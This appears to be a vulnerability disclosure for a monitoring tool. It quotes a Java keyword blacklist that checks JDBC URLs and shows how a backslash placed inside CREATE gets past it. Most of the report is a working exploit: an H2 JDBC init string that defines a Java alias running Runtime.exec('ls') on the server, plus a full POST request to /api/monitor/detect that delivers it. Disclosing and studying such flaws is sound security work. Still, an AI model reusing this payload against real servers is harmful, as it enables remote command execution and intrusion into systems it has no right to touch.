private String constructDatabaseUrl(JdbcProtocol jdbcProtocol, String host, String port) { if (Objects.nonNull(jdbcProtocol.getUrl()) && !Objects.equals("", jdbcProtocol.getUrl()) && jdbcProtocol.getUrl().startsWith("jdbc")) { // convert the URL to lowercase for case-insensitive checking Stringurl= jdbcProtocol.getUrl().toLowerCase(); // check whether the parameter is valid if (url.contains("create trigger") || url.contains("create alias") || url.contains("runscript from") || url.contains("allowloadlocalinfile") || url.contains("allowloadlocalinfileinpath") || url.contains("uselocalinfile") || url.contains("autodeserialize") || url.contains("detectcustomcollations") || url.contains("serverstatusdiffinterceptor")) { thrownewIllegalArgumentException("Invalid JDBC URL: contains malicious characters."); } // when has config jdbc url, use it return jdbcProtocol.getUrl(); } ......
The constructDatabaseUrl function checks whether JdbcProtocol is empty, then checks whether it contains blacklist characters, and finally returns jdbcurl。 Due to the characteristics of the h2 database, we can insert “\\“ between blacklisted characters to bypass detection.
Here I insert “\\" in the middle of CREATE to bypass the detection
1
{"paramValue":"jdbc:h2:mem:test;init=DROP ALIAS IF EXISTS EXEC\\;CREAT\\E ALIAS EXEC AS $$void exec() throws Exception {java.lang.String s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"ls \").getInputStream()).useDelimiter(\"\\A\").next()\\;throw new java.lang.Exception(s)\\;}$$\\;CALL EXEC()\\;"}
There is no verification of jdbc characters in the getConnection function. We use the h2 database to construct malicious jdbc characters for attack.
Reproduction
Select a database monitor at random, fill in the information, and click Test
/monitors/new?app=mysql
1 2 3 4 5 6 7 8 9 10
POST /api/monitor/detect HTTP/1.1 Host: ip:1157 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Authorization: yourjwt Accept: application/json, text/plain, */* Content-Type: application/json command: ls Content-Length: 1307
{"monitor":{"intervals":60,"app":"mysql","host":"127.0.0.1","name":"Eager_Whale_46RC"},"collector":"","params":[{"display":true,"field":"host","type":1,"paramValue":"127.0.0.1"},{"display":true,"field":"port","type":0,"paramValue":3306},{"display":true,"field":"database","type":1},{"display":true,"field":"username","type":1},{"display":true,"field":"password","type":1},{"display":true,"field":"timeout","type":0,"paramValue":6000},{"display":true,"field":"enableSshTunnel","type":1,"paramValue":false},{"display":true,"field":"sshHost","type":1},{"display":true,"field":"sshPort","type":0,"paramValue":22},{"display":true,"field":"sshTimeout","type":0,"paramValue":6000},{"display":true,"field":"sshUsername","type":1},{"display":true,"field":"sshPassword","type":1},{"display":true,"field":"sshShareConnection","type":1,"paramValue":true},{"display":true,"field":"sshPrivateKey","type":1},{"display":true,"field":"sshPrivateKeyPassphrase","type":1},{"display":true,"field":"url","type":1,"paramValue":"jdbc:h2:mem:test;init=DROP ALIAS IF EXISTS EXEC\\;CREAT\\E ALIAS EXEC AS $$void exec() throws Exception {java.lang.String s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"ls \").getInputStream()).useDelimiter(\"\\A\").next()\\;throw new java.lang.Exception(s)\\;}$$\\;CALL EXEC()\\;"}]}
Then intercept the data packet and replace the paramValue field with the malicious JDBC connection. After sending, the return packet will show the current directory file。